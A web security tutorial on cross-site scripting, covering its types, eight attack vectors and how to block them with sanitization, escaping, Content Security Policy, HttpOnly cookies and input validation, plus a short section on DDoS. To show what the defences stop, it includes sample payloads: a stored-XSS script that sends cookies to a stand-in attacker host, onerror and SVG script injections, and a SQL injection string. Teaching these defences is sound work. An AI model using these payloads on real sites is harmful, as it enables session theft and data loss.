πŸ›‘οΈ Web Security Guide

XSS Attacks, Prevention Strategies & Content Security Policy

1. What is Cross-Site Scripting (XSS)?

XSS allows attackers to inject malicious scripts into web pages viewed by other users. When the victim's browser loads the page, the injected script executes with full access to cookies, session tokens, and the DOM.

⚠️ Why It's Dangerous
  • Steal session cookies and hijack accounts
  • Capture keystrokes and form data
  • Redirect users to malicious sites
  • Deface websites
  • Spread malware

Types of XSS

Type Storage Example
Stored XSS Saved in database Malicious comment that attacks all viewers
Reflected XSS URL parameter Malicious link sent via email
DOM-based XSS Client-side only JavaScript reads URL hash unsafely

How an Attack Works

1. Attacker finds vulnerable input (comment field) ↓ 2. Submits: <script>fetch('evil.com?c='+document.cookie)</script> ↓ 3. Server stores malicious comment in database ↓ 4. Victim views the page with the comment ↓ 5. Browser renders the comment, executes the script ↓ 6. Victim's cookies sent to attacker's server πŸ’€

2. Six Prevention Strategies

1️⃣ Input Sanitization (DOMPurify)

Removes or neutralizes malicious code from user input before it's stored or displayed.

import DOMPurify from 'dompurify'; // User submits malicious input const userInput = '<img src="x" onerror="alert(\'XSS\')"><p>Hello</p>'; // DOMPurify removes dangerous parts const cleanInput = DOMPurify.sanitize(userInput); // Result: '<p>Hello</p>' - malicious img tag stripped!
βœ… When to Use
Rich text editors, markdown content, HTML email templates - anywhere you need to render user-provided HTML.

2️⃣ Content Security Policy (CSP)

HTTP headers that tell the browser which sources of content are trusted. Even if XSS is injected, the browser refuses to execute it.

// HTTP Header Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:;
Directive Meaning
default-src 'self' Only load resources from same origin
script-src 'self' Only run scripts from same origin (blocks inline!)
style-src 'self' Only load styles from same origin
img-src 'self' https: Images from same origin or any HTTPS

3️⃣ Escape Output

Convert special characters into HTML entities so they display as text, not code.

❌ Dangerous

element.innerHTML = userInput; // If userInput = "<script>...</script>" // It executes!

βœ… Safe

element.textContent = userInput; // Auto-escapes everything // "<script>" displays as text

React does this automatically:

function Comment({ text }) { // React escapes 'text' by default - XSS safe! return <p>{text}</p>; }

4️⃣ Avoid dangerouslySetInnerHTML

This React prop bypasses automatic escaping and renders raw HTML.

❌ Dangerous

// Directly renders user HTML <div dangerouslySetInnerHTML={{ __html: userHtml }} />

βœ… Safe

import DOMPurify from 'dompurify'; <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userHtml) }} />

5️⃣ HttpOnly Cookies

Prevents JavaScript from accessing sensitive cookies, so even if XSS runs, it can't steal sessions.

// Server-side (Express.js) res.cookie('sessionToken', 'abc123', { httpOnly: true, // JavaScript cannot access secure: true, // Only sent over HTTPS sameSite: 'Strict' // Not sent with cross-site requests });
Cookie Type XSS Can Steal?
Regular cookie Yes
HttpOnly cookie No

6️⃣ Validate Input (Whitelist)

Only accept input that matches expected patterns, rejecting everything else.

❌ Blacklist (Weak)

// Attackers find bypasses const blacklist = ['<script>', 'javascript:']; return !blacklist.some(bad => input.includes(bad) );

βœ… Whitelist (Strong)

// Only allow known-good patterns function validateUsername(input) { // Letters, numbers, underscore only return /^[a-zA-Z0-9_]{3,20}$/.test(input); }

3. Eight Attack Vectors & Prevention

XSS requires some form of user-controlled input that gets rendered. Here are the common vectors:

1️⃣ URL Parameters

❌ Attack

// Vulnerable code const name = urlParams.get('name'); element.innerHTML = 'Hello, ' + name; // Attack URL: // site.com?name=<script>evil()</script>

βœ… Prevention

// Use textContent element.textContent = 'Hello, ' + name; // Or validate against whitelist const allowed = ['home', 'about']; if (allowed.includes(param)) { // Safe to use }

2️⃣ URL Hash Fragment

❌ Attack

element.innerHTML = location.hash; // Attack URL: // site.com#<img onerror=evil()>

βœ… Prevention

const validSections = ['intro', 'features']; const hash = location.hash.replace('#', ''); if (validSections.includes(hash)) { showSection(hash); }

3️⃣ Stored Data (Database)

❌ Attack

// Attacker saves malicious comment // Every user who views it gets attacked fetch('/api/comments') .then(comments => { container.innerHTML = comments .map(c => c.text).join(''); });

βœ… Prevention

// Sanitize on input AND output // Backend: const clean = DOMPurify.sanitize(req.body.comment); database.save({ comment: clean }); // Frontend: comments.forEach(c => { const p = document.createElement('p'); p.textContent = c.text; container.appendChild(p); });

4️⃣ Third-Party Scripts (CDN)

❌ Risk

// If CDN gets compromised... <script src="https://cdn.example.com/lib.js"></script> // ...attacker code runs on YOUR site

βœ… Prevention

// Subresource Integrity (SRI) <script src="https://cdn.example.com/lib.js" integrity="sha384-oqVuAfXRK..." crossorigin="anonymous" ></script> // Or self-host critical libraries

5️⃣ HTTP Headers Displayed

❌ Attack

// Admin panel shows user agent log.innerHTML = request.headers.userAgent; // Attacker sends: // User-Agent: <script>evil()</script>

βœ… Prevention

// Always escape headers log.textContent = request.headers.userAgent;

6️⃣ File Uploads (SVG)

❌ Attack

// SVG files can contain scripts <svg xmlns="..."> <script>alert('XSS')</script> </svg> // Dangerous to render directly: <object data="/uploads/evil.svg"></object>

βœ… Prevention

// Use <img> tag - won't execute scripts <img src="/uploads/image.svg" alt="User upload"> // Validate file type by content, not extension // Serve with: Content-Type: image/svg+xml // Add: X-Content-Type-Options: nosniff

7️⃣ LocalStorage / Cookies Rendered

❌ Attack

// Attacker previously set malicious value const theme = localStorage.getItem('theme'); document.body.innerHTML = 'Theme: ' + theme;

βœ… Prevention

const validThemes = ['light', 'dark']; const theme = localStorage.getItem('theme'); if (validThemes.includes(theme)) { applyTheme(theme); } else { applyTheme('light'); // Default }

8️⃣ External API Responses

❌ Attack

// Trust external API blindly fetch('https://external-api.com/data') .then(data => { document.body.innerHTML = data.content; });

βœ… Prevention

fetch('https://api.example.com/data') .then(data => { // Sanitize document.body.innerHTML = DOMPurify.sanitize(data.content); // Or use textContent titleEl.textContent = data.title; });

4. CSP Headers - Where to Set Them

CSP headers can be set in multiple places depending on your architecture:

Backend Server

Express.js (Node.js)

const helmet = require('helmet'); app.use(helmet.contentSecurityPolicy({ directives: { defaultSrc: ["'self'"], scriptSrc: ["'self'", "https://trusted-cdn.com"], styleSrc: ["'self'", "'unsafe-inline'"], imgSrc: ["'self'", "data:", "https:"], } }));

Django (Python)

# settings.py MIDDLEWARE = ['csp.middleware.CSPMiddleware', ...] CSP_DEFAULT_SRC = ("'self'",) CSP_SCRIPT_SRC = ("'self'", "https://trusted-cdn.com") CSP_STYLE_SRC = ("'self'", "'unsafe-inline'")

Web Server

Nginx

server { location / { add_header Content-Security-Policy "default-src 'self'; script-src 'self'"; } }

Apache (.htaccess)

<IfModule mod_headers.c> Header set Content-Security-Policy \ "default-src 'self'; script-src 'self'" </IfModule>

Next.js / Vercel

// next.config.js const securityHeaders = [{ key: 'Content-Security-Policy', value: "default-src 'self'; script-src 'self'" }]; module.exports = { async headers() { return [{ source: '/:path*', headers: securityHeaders }]; } };

HTML Meta Tag (Fallback)

<!-- Works but limited - no frame-ancestors, no report-uri --> <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
⚠️ Meta Tag Limitations
  • Cannot use frame-ancestors (clickjacking protection)
  • Cannot use report-uri / report-to
  • Can be bypassed if attacker injects before the meta tag

5. Interactive CSP Demo

ℹ️ This Page Has CSP Enabled
script-src 'self' - Only external scripts from this origin are allowed. Open DevTools Console (F12) to see CSP violations.

❌ BLOCKED - Inline Script

<script> alert('XSS Attack!'); </script>

This inline script won't run:

βœ“ Script was blocked by CSP

βœ… ALLOWED - External Script

<script src="app.js"></script> // In app.js: document.getElementById('btn') .addEventListener('click', handleClick);

External scripts work because they're from 'self':

Click the button to see external JS work...

What CSP Blocks

Attack Type Example Status
Inline script <script>evil()</script> Blocked
Event handler <img onerror="evil()"> Blocked
javascript: URL <a href="javascript:evil()"> Blocked
External evil script <script src="evil.com/x.js"> Blocked
Your external script <script src="app.js"> Allowed

6. Input Validation vs Sanitization

Both are important and serve different purposes:

Aspect Validation Sanitization
Purpose Reject bad data entirely Clean/fix bad data
Action "Is this valid? Yes/No" "Make this safe"
When Before processing/storing Before rendering/displaying
Protects Against XSS, SQL Injection, etc. XSS specifically

Why You Need Both

⚠️ Sanitization alone misses other attacks:
// User input for "quantity" field const input = "1; DROP TABLE orders;--"; // DOMPurify won't catch SQL injection! DOMPurify.sanitize(input); // Returns same string // Validation catches it: function validateQuantity(input) { const num = parseInt(input, 10); return Number.isInteger(num) && num > 0; } // Returns false - rejected!
User Input ↓ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ VALIDATION: Right type/format/length? β”‚ β”‚ Protects: SQL injection, business logicβ”‚ β”‚ Action: REJECT if invalid β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ ↓ (only valid data passes) β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ SANITIZATION: Remove dangerous content β”‚ β”‚ Protects: XSS specifically β”‚ β”‚ Action: CLEAN the data β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ ↓ Safe to use βœ“

7. DDoS Attacks

A DDoS (Distributed Denial of Service) attack floods your server with traffic until legitimate users can't access your service.

Normal Traffic: User 1 ─┐ User 2 ─┼──▢ [Your Server] βœ“ Everyone served User 3 β”€β”˜ DDoS Attack: β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ Millions of bot requests β”‚ β”‚ Bot Bot Bot Bot Bot Bot... │──▢ [Your Server] πŸ’₯ Overwhelmed β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ Real User ────X (can't connect)

Types of DDoS

Type Layer Method
UDP Flood Network (L3/4) Floods random ports with UDP packets
SYN Flood Transport (L4) Million TCP handshakes, never completes
HTTP Flood Application (L7) Million GET/POST requests
Amplification Network (L3) DNS/NTP reflection attack

Protection Strategies

1. CDN / DDoS Protection Service

// Services like Cloudflare, AWS Shield, Akamai // absorb attack traffic before it reaches you Attack ──▢ [Cloudflare] ──▢ Clean traffic ──▢ [Your Server] β”‚ └── Bad traffic filtered

2. Rate Limiting

const rateLimit = require('express-rate-limit'); const limiter = rateLimit({ windowMs: 15 * 60 * 1000, // 15 minutes max: 100, // 100 requests per window per IP message: 'Too many requests, try again later' }); app.use(limiter);

3. Web Application Firewall (WAF)

Filters requests based on rules: block known bad IPs, suspicious patterns, geo-blocking.

4. Auto-scaling

Automatically add servers when traffic spikes (AWS, GCP, Azure).

ℹ️ Key Difference: XSS vs DDoS
XSS DDoS
Goal Steal data Take service offline
Target Users' browsers Your server
Fix Code changes Infrastructure

8. Security Checklist

Layer Check Protection
Input Validate all user input (whitelist) XSS, SQLi, etc.
Storage Sanitize before storing (DOMPurify) Stored XSS
Output Use textContent, escape HTML Reflected XSS
Headers CSP, X-Content-Type-Options, X-Frame-Options XSS, Clickjacking
Cookies HttpOnly, Secure, SameSite Session theft
Dependencies SRI hashes for CDN scripts Supply chain
React Avoid dangerouslySetInnerHTML DOM XSS
Infrastructure CDN, rate limiting, WAF DDoS
βœ… Defense in Depth

No single defense is foolproof. Use all layers together. If one fails, others catch the attack.

Attack ─▢ [Validation] ─▢ [Sanitization] ─▢ [CSP] ─▢ [HttpOnly] ↓ ↓ ↓ ↓ Blocked? Cleaned? Blocked? Protected?